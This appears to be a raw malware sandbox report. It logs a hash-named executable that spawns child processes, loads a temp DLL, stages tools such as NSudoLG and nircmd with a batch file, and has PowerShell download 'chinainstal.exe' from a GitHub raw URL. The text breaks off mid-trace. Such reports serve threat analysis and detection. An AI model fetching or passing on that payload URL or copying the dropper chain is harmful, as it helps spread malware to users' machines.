Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 692472 X-Served-By: cache-iad-kiad7000134-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 40 144 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 73e206fd960ae1f3ae1ae06f03cc39ab9abb5adc with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/vendors-node_modules_github_text-expander-element_dist_index_js-78748950cb0c.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 4532 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Tue 12 Nov 2024 00:52:41 GMT ETag: "0x8DD02B4500C5DFD" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1917404 X-Served-By: cache-iad-kiad7000164-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 12605 169 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: ee736c8d6af9ae68e37af5615750c562b79cab2a with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-8e9f78-a90ac05d2469.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 7190 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Tue 11 Mar 2025 02:46:42 GMT ETag: "0x8DD6046F4852561" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1308930 X-Served-By: cache-iad-kiad7000085-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 172 795 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: e72b7f5ab3e9029f3d527262fbed15b2d203e09d with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d8c643-f5192902810f.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 5134 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Wed 16 Apr 2025 08:36:08 GMT ETag: "0x8DD7CC1BC584358" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 5020 X-Served-By: cache-iad-kcgs7200099-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 14 7 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 693601e1a9bbb8b84ea12f547ab5929423c8f875 with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/vendors-node_modules_github_markdown-toolbar-element_dist_index_js-ceef33f593fa.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3888 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Tue 10 Dec 2024 19:56:20 GMT ETag: "0x8DD1954B7817C15" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 3007771 X-Served-By: cache-iad-kjyo7100066-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 26936 798 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 34759205812b1c723519e18b52423c177495c572 with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-07e635-2bb803cf8a63.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 33104 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Wed 23 Apr 2025 13:07:21 GMT ETag: "0x8DD8267C8985692" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:26 GMT Age: 5018 X-Served-By: cache-iad-kiad7000162-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 14 9 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 6f679b4c4aa13ee0d98ec915562fa253809541f1 with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/github-elements-d4322ee6735b.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 10363 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Wed 30 Apr 2025 07:47:27 GMT ETag: "0x8DD87BB40E42052" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:26 GMT Age: 5019 X-Served-By: cache-iad-kiad7000124-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 16 6 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: ef0de58a41d9e44814d5ff609aeb609ffa4fa367 with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B.......47:T6de6,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 760d0000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 760d0000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 760d0000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "KERNEL32" at base 76e50000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728e0000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "KERNEL32.DLL" at base 76e50000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75c60000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "FECLIENT.DLL" at base 72850000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72820000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "NTDLL.DLL" at base 76f60000 "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 738d0000 "F2a97.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 760d0000 "F2a97.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 760d0000 "F2a97.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 760d0000 "F2a97.exe" loaded module "KERNEL32" at base 76e50000 "F2a97.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728e0000 "F2a97.exe" loaded module "KERNEL32.DLL" at base 76e50000 "F2a97.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75c60000 "F2a97.exe" loaded module "FECLIENT.DLL" at base 72850000 "F2a97.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72820000 "F2a97.exe" loaded module "NTDLL.DLL" at base 76f60000 "F2a97.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 738d0000 "1H12M2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 760d0000 "1H12M2.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 760d0000 "1H12M2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 760d0000 "1H12M2.exe" loaded module "KERNEL32" at base 76e50000 "1H12M2.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728e0000 "1H12M2.exe" loaded module "SHFOLDER.DLL" at base 72840000 "1H12M2.exe" loaded module "COMCTL32.DLL" at base 729e0000 "1H12M2.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73430000 "1H12M2.exe" loaded module "KERNEL32.DLL" at base 76e50000 "1H12M2.exe" loaded module "RPCRT4.DLL" at base 76000000 "1H12M2.exe" loaded module "SSPICLI.DLL" at base 73980000 "1H12M2.exe" loaded module "'" - Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008536.00000000.92980.03320000.00000004.mdmp") Found URL "https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe'" - Source: "00000000-00008744.00000000.95724.2D3E0000.00000004.mdmp") Found URL "https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe'" - Source: "00000000-00008744.00000000.95724.2D460000.00000004.mdmp") Found URL "https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe'" - Source: "00000000-00008744.00000000.95724.2EE50000.00000004.mdmp")60:T2435,GET /grosesch/ibra/raw/refs/heads/main/chinainstal.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: github.com Connection: Keep-Alive GET /assets/dark-8a995f0bacd4.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/light-74231a1f3bbb.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/primer-primitives-225433424a87.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/primer-cba26849680f.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/global-2cef982e4161.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/github-22c3a4e9b13b.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/site-62271ce87619.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/error-3bfb6168c7d5.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/primer-react.12697aeead627392972a.module.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/wp-runtime-acdf584e8279.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover-fn_js-81211bd82278.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-1d3d52-4be8ffe9a34a.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/ui_packages_failbot_failbot_ts-aed0572c1e67.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/environment-1c93e446366f.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-0dbb79f97f8f.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_github_relative-time-element_dist_index_js-62d275b7ddd9.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_github_text-expander-element_dist_index_js-78748950cb0c.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-8e9f78-a90ac05d2469.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d8c643-f5192902810f.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_github_markdown-toolbar-element_dist_index_js-ceef33f593fa.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-07e635-2bb803cf8a63.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive GET /assets/github-elements-d4322ee6735b.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive 61:Tb8d,Found HTTPS GET request to https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe Found HTTPS GET request to https://github.githubassets.com/assets/dark-8a995f0bacd4.css Found HTTPS GET request to https://github.githubassets.com/assets/light-74231a1f3bbb.css Found HTTPS GET request to https://github.githubassets.com/assets/primer-primitives-225433424a87.css Found HTTPS GET request to https://github.githubassets.com/assets/primer-cba26849680f.css Found HTTPS GET request to https://github.githubassets.com/assets/global-2cef982e4161.css Found HTTPS GET request to https://github.githubassets.com/assets/github-22c3a4e9b13b.css Found HTTPS GET request to https://github.githubassets.com/assets/site-62271ce87619.css Found HTTPS GET request to https://github.githubassets.com/assets/error-3bfb6168c7d5.css Found HTTPS GET request to https://github.githubassets.com/assets/primer-react.12697aeead627392972a.module.css Found HTTPS GET request to https://github.githubassets.com/assets/wp-runtime-acdf584e8279.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover-fn_js-81211bd82278.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-1d3d52-4be8ffe9a34a.js Found HTTPS GET request to https://github.githubassets.com/assets/ui_packages_failbot_failbot_ts-aed0572c1e67.js Found HTTPS GET request to https://github.githubassets.com/assets/environment-1c93e446366f.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-0dbb79f97f8f.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-62d275b7ddd9.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_js-78748950cb0c.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-8e9f78-a90ac05d2469.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d8c643-f5192902810f.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_github_markdown-toolbar-element_dist_index_js-ceef33f593fa.js Found HTTPS GET request to https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-07e635-2bb803cf8a63.js Found HTTPS GET request to https://github.githubassets.com/assets/github-elements-d4322ee6735b.js62:T827,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00000860) "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00000860) "F2a97.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00007396) "F2a97.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00007396) "1H12M2.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\1H12M2.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter Work\7z.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter \\?\%TEMP%\Work\7z.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter Work\cecho.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter \\?\%TEMP%\Work\cecho.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter Work\DKTolz.zip (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter \\?\%TEMP%\Work\DKTolz.zip (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter Work\nircmd.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter \\?\%TEMP%\Work\nircmd.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter Work\NSudoLG.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter \\?\%TEMP%\Work\NSudoLG.exe (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter 34.bat (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter \\?\%TEMP%\34.bat (UID: 00000000-00001224) "1H12M2.exe" called "FindFirstFileW" with parameter Work (UID: 00000000-00001224) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004460) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004460)63:T4a0,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "F2a97.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "1H12M2.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "1H12M2.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "8" "th32ProcessID": "1224"} "cmd.exe" called "CreateToolhelp32Snapshot" with parameters 